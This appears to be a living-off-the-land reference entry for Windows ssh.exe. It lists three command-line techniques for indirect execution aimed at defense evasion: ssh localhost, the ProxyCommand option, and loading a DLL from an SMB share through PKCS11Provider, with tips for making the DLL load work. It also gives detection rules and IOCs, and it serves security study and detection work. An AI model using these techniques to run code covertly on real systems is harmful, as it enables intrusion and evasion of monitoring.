ssh.exe

Commands

1. ExecuteUser T1202

   Execute specified command, can be used for defense evasion.

   ssh localhost "{CMD}"

   Executes specified command on host machine. The prompt for password can be eliminated by adding the host’s public key in the user’s authorized_keys file. Adversaries can do the same for execution on remote machines.

   os: Windows 10 1809, Windows Server 2019

   Execute: CMD

2. ExecuteUser T1202

   Performs execution of specified file, can be used as a defensive evasion.

   ssh -o ProxyCommand="{CMD}" .

   Executes specified command from ssh.exe

   os: Windows 10

   Execute: CMD

3. ExecuteUser T1202

   Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.

   ssh -o PKCS11Provider="\\\\127.0.0.1\\Temp\\example.dll" win@github.com

   Executes a DLL from an SMB share by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by ssh.exe. Note that all backslashes should be escaped (i.e. every \ should be turned into \\).

   os: Windows 10, Windows 11

   Execute: DLLExecute: Remote

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml
• IOCEvent ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.
• IOCcommand line arguments specifying execution.

Code samples

• https://gist.github.com/screetsec/97d90750bfb058eb0b49c5374cdc0ac9

Resources

• https://gtfobins.github.io/gtfobins/ssh/
• https://gist.github.com/screetsec/97d90750bfb058eb0b49c5374cdc0ac9